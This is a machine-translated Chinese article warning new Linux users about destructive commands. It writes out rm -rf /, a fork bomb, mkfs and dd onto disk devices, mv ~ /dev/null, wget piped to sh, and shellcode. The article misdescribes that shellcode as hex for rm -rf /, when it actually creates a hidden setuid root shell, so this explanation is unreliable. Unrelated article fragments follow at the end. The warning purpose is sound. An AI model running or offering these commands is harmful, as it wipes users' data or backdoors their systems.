Linux的终端命令非常强大,如果您运行的命令会破坏系统,Linux不会要求您确认。在网上看到巨魔推荐新的Linux用户运行这些命令并不是什么稀奇的事情。
学习不应该运行的命令有助于保护您免受巨魔的攻击,同时提高您对Linux工作原理的理解。这不是一个详尽的指南,这里的命令可以以多种方式混合。
请注意,这些命令中的许多只有在Ubuntu上加上sudo前缀时才是危险的,否则就不能工作。在其他Linux发行版上,大多数命令必须以root用户身份运行。
图片来源:杰森·福特在推特上混音的骷髅和十字骨
命令rm-rf/可以删除所有可能的内容,包括硬盘上的文件和连接的可移动媒体设备上的文件。如果这个命令被破坏了,它更容易理解:
rm – Remove the following files.
-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux会很高兴地遵守这个命令,删除所有内容而不提示您,所以使用时要小心!rm命令还可以用于其他危险的方式–rm–rf~将删除主文件夹中的所有文件,而rm-rf.*将删除所有配置文件。
教训:当心rm-rf。
下面是另一段遍布网络的代码片段:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
这是rm–rf/的十六进制版本—执行此命令将清除文件,就像运行rm–rf/一样。
教训:不要运行怪异的,显然是伪装的命令,你不明白。
下面这行是一个简单但危险的bash函数:
:(){ :|: & };:
这一短行定义了一个shell函数,该函数创建自身的新副本。进程不断地自我复制,其副本也不断地自我复制,很快就会占用所有的CPU时间和内存。这会导致您的计算机冻结。基本上是拒绝服务攻击。
教训:Bash函数很强大,甚至很短。
图片来源:维基共享空间上的达克
这个mkfs.ext4文件/dev/sda1命令很容易理解:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
总的来说,这个命令相当于在Windows上运行format c:它将擦除第一个分区上的文件,并用新的文件系统替换它们。
此命令也可以以其他形式出现–mkfs.ext3文件/dev/sdb2将使用ext3文件系统格式化第二个硬盘驱动器上的第二个分区。
教训:当心直接在以/dev/sd开头的硬盘设备上运行命令。
命令>;/dev/sda行的工作原理类似–它运行一个命令并将该命令的输出直接发送到您的第一个硬盘驱动器,将数据直接写入硬盘驱动器并损坏您的文件系统。
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
教训:如上所述,小心运行以/dev/sd开头的涉及硬盘设备的命令。
dd if=/dev/random of=/dev/sda行还将删除硬盘上的数据。
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locati*** such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
教训:dd将数据从一个位置复制到另一个位置,如果您直接复制到设备上,这可能会很危险。
图片来源:Matt Rudge在Flickr上
更新:这是一个常见的误解,我们是不正确的。尽管网上有很多闲聊,但不可能将文件和文件夹移动到/dev/null。但是,如果您将有用的数据输出或重定向到/dev/null,它将被丢弃和销毁。
/dev/null是另一个特殊的位置–将某个对象移动到/dev/null与销毁它是一样的。把/dev/null想象成一个黑洞。实际上,mv~/dev/null会把你所有的个人文件发送到一个黑洞中。
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
教训是:~字符代表您的主文件夹,移动到/dev/null会破坏它们。
上面的一行从web下载一个脚本并将其发送给sh,sh执行脚本的内容。如果您不确定脚本是什么,或者您不信任它的来源,那么这可能是危险的—不要运行不受信任的脚本。
wget – Downloads a file. (You may also see curl in place of wget.)
http://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
教训:不要从web上下载和运行不受信任的脚本,即使使用命令也是如此。
知道新的(有经验的)Linux用户不应该运行的任何其他危险命令吗?留言分享!
...重要的东西也会给你带来麻烦。你真的想花几个小时摆弄命令,回购和来源,只是为了上网?同样,对大多数人来说,答案是否定的。 ...
...Linux是极其复杂的。当然,对于第一次使用的用户来说,命令行可能有点让人望而生畏,是的,与使用Windows或Mac相比,有时需要进行更多的调整。最终Linux仅仅是一个操作系统,可以简单地使用它。 ...
...它没有显示在任何地方,所以你怎么知道呢?这里有九个命令帮助检查Linux版本和当前发行版的内核版本。 ...
...了这个rootkit。它可以避开管理员和反病毒软件,运行root命令,并允许黑客上传和下载文件。根据这两个机构的说法,Drovorub是为俄罗斯**工作的黑客组织Fancy Bear的作品。 ...
...irefox,然后按“回车”启动firefox浏览器窗口。 相关:8个致命的命令你永远不应该在Linux上运行
...环境,macOS附带,可在windows10上安装。它会记住您键入的命令并将其存储在历史文件中。您可能知道bash历史的一些基本知识,但它比您可能意识到的强大得多。 键盘快捷键 相关:Bash的最佳键盘快捷键(又称Linux和macOS终端) ...
...一个最小版本的vim中使用加密,您将看到一条“抱歉,此命令在此版本中不可用”的消息。 您可能需要安装完整版本的vim才能在您的Linux发行版上获得此功能。例如,在Ubuntu上,您可以通过运行以下命令获得完整版本的vim: sudo...
...使用错误的方法可以删除硬盘上的所有文件。 相关:8个致命的命令你永远不应该在Linux上运行 您还可以使用一个命令创建包含多个子目录的目录或目录树。
...员帐户一样。 使用sudo,您可以运行获得root权限的特定命令(以sudo为前缀)。对于su,您可以使用su命令获得一个根shell,在退出根shell之前(希望如此)运行您想要使用的命令。Sudo有助于实施最佳实践,只运行需要以root身份运...